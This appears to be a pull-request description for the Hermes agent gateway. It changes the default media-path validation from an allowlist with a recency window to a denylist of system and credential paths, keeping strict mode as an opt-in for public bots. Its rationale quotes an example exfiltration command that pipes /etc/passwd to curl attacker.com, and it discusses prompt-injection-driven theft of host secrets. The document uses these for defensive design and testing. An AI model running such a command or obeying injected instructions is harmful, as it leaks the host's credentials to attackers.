PR #29523 restricted MEDIA: paths and bare local paths in agent output to files under the Hermes media cache or an operator-allowlisted root, with a 10-minute recency window as a fallback. The intent was to defend against prompt-injection-driven exfiltration of host secrets, but in the default single-user setup the asymmetry doesn't earn its keep: we accept any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...) and the agent already has terminal access — anything that can convince it to emit a MEDIA: tag for /etc/passwd can equally convince it to `cat /etc/passwd | curl attacker.com`. Practical breakage: agents that produced an .md, .pdf, or other artifact more than ~10 minutes ago, or outside the cache allowlist, showed the user a raw filepath in chat instead of the file. Default flipped to denylist-only: • /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run} • $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud} • macOS Library/Keychains • $HERMES_HOME/{.env, auth.json, credentials} The legacy allowlist+recency-window behavior stays available via opt-in: `gateway.strict: true` in config.yaml (or `HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots where prompt injection from one user shouldn't be able to exfiltrate the host's secrets to that same user. • `gateway/platforms/base.py` — `validate_media_delivery_path()` short-circuits to "return resolved if not under denylist" when strict is off. Strict mode preserves the original cache-then- allowlist-then-recency logic. New `_media_delivery_strict_mode()` reader for `HERMES_MEDIA_DELIVERY_STRICT`. • `hermes_cli/config.py` — `gateway.strict: false` added to DEFAULT_CONFIG; existing keys documented as "only consulted in strict mode." No `_config_version` bump needed (deep-merge picks up the new default for old installs). • `gateway/run.py` — bridges `gateway.strict` → `HERMES_MEDIA_DELIVERY_STRICT` at startup. • `tools/send_message_tool.py` — schema description broadened back to plain "any local path." • Tests — existing strict-path tests pinned to STRICT=1 so they keep exercising the legacy behavior; new `TestMediaDeliveryDefaultMode` with 8 cases covering the public default (stale .md accepted, any extension delivers, credential paths still blocked, strict env-var aliases, filter E2E). Validation: - tests/gateway/test_platform_base.py: 119/119 pass - tests/gateway/test_tts_media_routing.py: 7/7 pass - tests/tools/test_send_message_tool.py: 121/121 pass - tests/hermes_cli/test_kanban_notify.py: 12/12 pass - tests/cron/test_scheduler.py: 120/120 pass - E2E via execute_code with real imports: • stale .md outside allowlist → accepted (default) • same path with STRICT=1 → rejected • $HOME/.ssh/id_rsa → rejected (default) • filter_local_delivery_paths([md, key]) → [md] only • gateway.strict in config.yaml → bridged to env (true=1, false=0) |
